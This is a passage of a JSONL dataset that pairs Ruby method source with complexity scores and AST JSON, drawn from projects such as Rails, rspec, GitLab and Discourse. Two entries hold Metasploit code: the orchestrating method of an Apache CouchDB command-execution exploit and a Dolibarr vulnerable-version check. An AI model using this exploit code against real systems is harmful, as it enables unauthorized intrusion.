"type\":\"sym\",\"children\":[\"configuration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"components\"]},{\"type\":\"sym\",\"children\":[\"workflows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"components\"]},{\"type\":\"sym\",\"children\":[\"workspaces\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"fbeb96fd-f5d9-44af-9071-d756a294387f"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/shared_context.rb","start_line":21,"raw_source":"def included(group)\n        __shared_context_recordings.each do |recording|\n          recording.playback_onto(group)\n        end\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__shared_context_recordings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recording\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recording\"]},\"playback_onto\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}","id":"019bb4a4-2f92-43e3-9e42-b1daa7c6f02c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":1149,"raw_source":"def test_assignment_updates_foreign_id_field_for_new_and_saved_records\n    client = Client.new\n    saved_firm = Firm.create name: \"Saved\"\n    new_firm = Firm.new\n\n    client.firm = saved_firm\n    assert_equal saved_firm.id, client.client_of\n\n    client.firm = new_firm\n    assert_nil client.client_of\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assignment_updates_foreign_id_field_for_new_and_saved_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"saved_firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Saved\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"firm=\",{\"type\":\"lvar\",\"children\":[\"saved_firm\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saved_firm\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"client_of\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"firm=\",{\"type\":\"lvar\",\"children\":[\"new_firm\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"client_of\"]}]}]}]}","id":"1713ed34-ac04-46ad-b421-934e60504aad"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/location_search/point_finder.rb","start_line":15,"raw_source":"def call\n      return empty_result unless valid_coordinates?\n\n      location = {\n        lat: @latitude,\n        lon: @longitude,\n        type: 'coordinate_search'\n      }\n\n      find_matching_points([location])\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_coordinates?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty_result\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lat\"]},{\"type\":\"ivar\",\"children\":[\"@latitude\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lon\"]},{\"type\":\"ivar\",\"children\":[\"@longitude\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"coordinate_search\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"find_matching_points\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]}]}]}]}]}","id":"741b22d6-54c4-46b0-9faa-2ef304abc3ac"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/attribute_help_text/project.rb","start_line":32,"raw_source":"def self.available_attributes\n    skip = %w[_type links _dependencies id created_at updated_at]\n\n    attributes = API::V3::Projects::Schemas::ProjectSchemaRepresenter\n      .representable_definitions\n      .reject { |key, _| skip.include?(key.to_s) }\n      .transform_values { |definition| definition[:name_source].call }\n\n    ProjectCustomField.find_each do |field|\n      attributes[field.attribute_name] = field.name\n    end\n\n    attributes[\"members\"] = I18n.t(:label_member_plural)\n\n    attributes\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"skip\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"_type\"]},{\"type\":\"str\",\"children\":[\"links\"]},{\"type\":\"str\",\"children\":[\"_dependencies\"]},{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"created_at\"]},{\"type\":\"str\",\"children\":[\"updated_at\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"V3\"]},\"Projects\"]},\"Schemas\"]},\"ProjectSchemaRepresenter\"]},\"representable_definitions\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]}]}]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"definition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name_source\"]}]},\"call\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectCustomField\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"attribute_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"members\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_member_plural\"]}]}]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}","id":"9f1688c7-1ecd-4c39-8c07-e6e64bc3eb73"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/numericality.rb","start_line":217,"raw_source":"def validates_numericality_of(*attr_names)\n        validates_with NumericalityValidator, _merge_attributes(attr_names)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validates_numericality_of\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attr_names\"]}]},{\"type\":\"send\",\"children\":[null,\"validates_with\",{\"type\":\"const\",\"children\":[null,\"NumericalityValidator\"]},{\"type\":\"send\",\"children\":[null,\"_merge_attributes\",{\"type\":\"lvar\",\"children\":[\"attr_names\"]}]}]}]}","id":"fee92ef4-e9ac-4a22-a4ff-44e6feffa3eb"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/feedback_messages_controller.rb","start_line":111,"raw_source":"def send_slack_message(params)\n      Slack::Messengers::Note.call(\n        author_name: params[:author_name],\n        status: params[:feedback_message_status],\n        type: params[:feedback_type],\n        report_id: params[:noteable_id],\n        message: params[:content],\n      )\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_slack_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Slack\"]},\"Messengers\"]},\"Note\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"feedback_message_status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"feedback_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"noteable_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]}]}]}","id":"da23f6d5-59d7-4772-b12d-885c9d8ff2a6"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/test_test.rb","start_line":98,"raw_source":"def enhance_prepare_task_with_output(output)\n      app_file \"Rakefile\", <<~RUBY, \"a\"\n        task :enhancing do\n          puts #{output.inspect}\n        end\n        Rake::Task[\"test:prepare\"].enhance([\"enhancing\"])\n      RUBY\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enhance_prepare_task_with_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"Rakefile\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"task :enhancing do\\n\"]},{\"type\":\"str\",\"children\":[\"  puts \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]},{\"type\":\"str\",\"children\":[\"Rake::Task[\\\"test:prepare\\\"].enhance([\\\"enhancing\\\"])\\n\"]}]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}","id":"670f8dce-bea5-4381-8b51-0013605bdb1c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/portal_client.rb","start_line":506,"raw_source":"def devices(mac: false, include_disabled: false)\n      paging do |page_number|\n        r = request(:post, \"account/#{platform_slug(mac)}/device/listDevices.action\", {\n          teamId: team_id,\n          pageNumber: page_number,\n          pageSize: page_size,\n          sort: 'name=asc',\n          includeRemovedDevices: include_disabled\n        })\n        result = parse_response(r, 'devices')\n\n        csrf_cache[Spaceship::Portal::Device] = self.csrf_tokens\n\n        result\n      end\n    end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"devices\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"mac\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"include_disabled\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paging\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page_number\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"account/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"platform_slug\",{\"type\":\"lvar\",\"children\":[\"mac\"]}]}]},{\"type\":\"str\",\"children\":[\"/device/listDevices.action\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"teamId\"]},{\"type\":\"send\",\"children\":[null,\"team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pageNumber\"]},{\"type\":\"lvar\",\"children\":[\"page_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pageSize\"]},{\"type\":\"send\",\"children\":[null,\"page_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"str\",\"children\":[\"name=asc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includeRemovedDevices\"]},{\"type\":\"lvar\",\"children\":[\"include_disabled\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"parse_response\",{\"type\":\"lvar\",\"children\":[\"r\"]},{\"type\":\"str\",\"children\":[\"devices\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csrf_cache\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Portal\"]},\"Device\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"csrf_tokens\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"b4eb47a3-4096-40fd-b975-59d4c9cc9976"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb","start_line":92,"raw_source":"def exploit\n    fail_with(Failure::Unknown, \"Something went horribly wrong and we couldn't continue to exploit.\") unless get_version\n    version = @version\n\n    vprint_good(\"#{peer} - Authorization bypass successful\") if auth_bypass\n\n    print_status(\"Generating #{datastore['CMDSTAGER::FLAVOR']} command stager\")\n    @cmdstager = generate_cmdstager(\n      temp: datastore['WritableDir'],\n      file: File.basename(cmdstager_path)\n    ).join(';')\n\n    register_file_for_cleanup(cmdstager_path)\n\n    if !datastore['Attempts'] || datastore['Attempts'] <= 0\n      attempts = 1\n    else\n      attempts = datastore['Attempts']\n    end\n\n    attempts.times do |i|\n      print_status(\"#{peer} - The #{i + 1} time to exploit\")\n      send_payload(version)\n      Rex.sleep(5)\n      # break if we get the shell\n      break if session_created?\n    end\n  end","complexity_score":49.73,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_version\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Something went horribly wrong and we couldn't continue to exploit.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"ivar\",\"children\":[\"@version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_bypass\"]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authorization bypass successful\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Generating \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMDSTAGER::FLAVOR\"]}]}]},{\"type\":\"str\",\"children\":[\" command stager\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cmdstager\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"temp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[null,\"cmdstager_path\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"send\",\"children\":[null,\"cmdstager_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Attempts\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Attempts\"]}]},\"<=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attempts\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"attempts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Attempts\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attempts\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - The \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" time to exploit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_payload\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_created?\"]},{\"type\":\"break\",\"children\":[]},null]}]}]}]}]}","id":"88e79621-7831-4b00-965a-2e08e34a1052"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":1006,"raw_source":"def test_esbuild_without_yarn_installed\n    generator([destination_root], javascript: \"esbuild\")\n\n    # fallback to latest when yarn is not installed\n    generator.stub :dockerfile_yarn_version, \"latest\" do\n      quietly { generator.invoke_all }\n    end\n\n    assert_gem \"jsbundling-rails\"\n    assert_file \"Dockerfile\" do |content|\n      assert_match(/ARG YARN_VERSION=latest/, content)\n\n      assert_match(\"RUN corepack enable && yarn set version $YARN_VERSION\", content)\n    end\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_esbuild_without_yarn_installed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"javascript\"]},{\"type\":\"str\",\"children\":[\"esbuild\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"dockerfile_yarn_version\"]},{\"type\":\"str\",\"children\":[\"latest\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quietly\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"invoke_all\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_gem\",{\"type\":\"str\",\"children\":[\"jsbundling-rails\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"Dockerfile\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ARG YARN_VERSION=latest\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"RUN corepack enable && yarn set version $YARN_VERSION\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"cc34a411-e5cf-4da6-a63a-ee102c7b8f7c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/color_scheme.rb","start_line":605,"raw_source":"def destroy_remote_original\n    return if theme_id.blank?\n    return if base_scheme_id.blank? || base_scheme_id < 0\n\n    ColorScheme\n      .unscoped\n      .where(theme_id: theme_id, id: base_scheme_id, remote_copy: true)\n      .destroy_all\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_remote_original\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_id\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_scheme_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_scheme_id\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ColorScheme\"]},\"unscoped\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"theme_id\"]},{\"type\":\"send\",\"children\":[null,\"theme_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"base_scheme_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote_copy\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"destroy_all\"]}]}]}","id":"037b643e-0292-4e88-889b-7178bde75ec8"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/preview.rb","start_line":111,"raw_source":"def find(preview)\n        all.find { |p| p.preview_name == preview }\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preview\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"preview_name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"preview\"]}]}]}]}","id":"d375b537-4093-4390-9acf-c5298278a317"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/runner_releases.rb","start_line":58,"raw_source":"def reset_backoff!\n        @backoff_expire_time = nil\n        @backoff_count = 0\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_backoff!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@backoff_expire_time\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@backoff_count\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"b50d19c7-b9a5-42c5-9d11-a3809a25bd13"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb","start_line":53,"raw_source":"def check_host(_ip)\n    res = send_request_cgi!({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path)\n    })\n    return Exploit::CheckCode::Unknown('Connection failed') unless res\n    return Exploit::CheckCode::Safe unless res.code == 200\n\n    version = res.body.scan(/Dolibarr ([\\d.]+-*[a-zA-Z0-9]*)/).flatten.first\n\n    return Exploit::CheckCode::Detected('Dolibarr version not found - proceeding anyway...') if version.blank?\n\n    if Rex::Version.new(version).between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4'))\n      return Exploit::CheckCode::Appears(\"Detected vulnerable Dolibarr version: #{version}\")\n    end\n\n    return Exploit::CheckCode::Safe(\"Detected apparently non-vulnerable Dolibarr version: #{version}\")\n  end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection 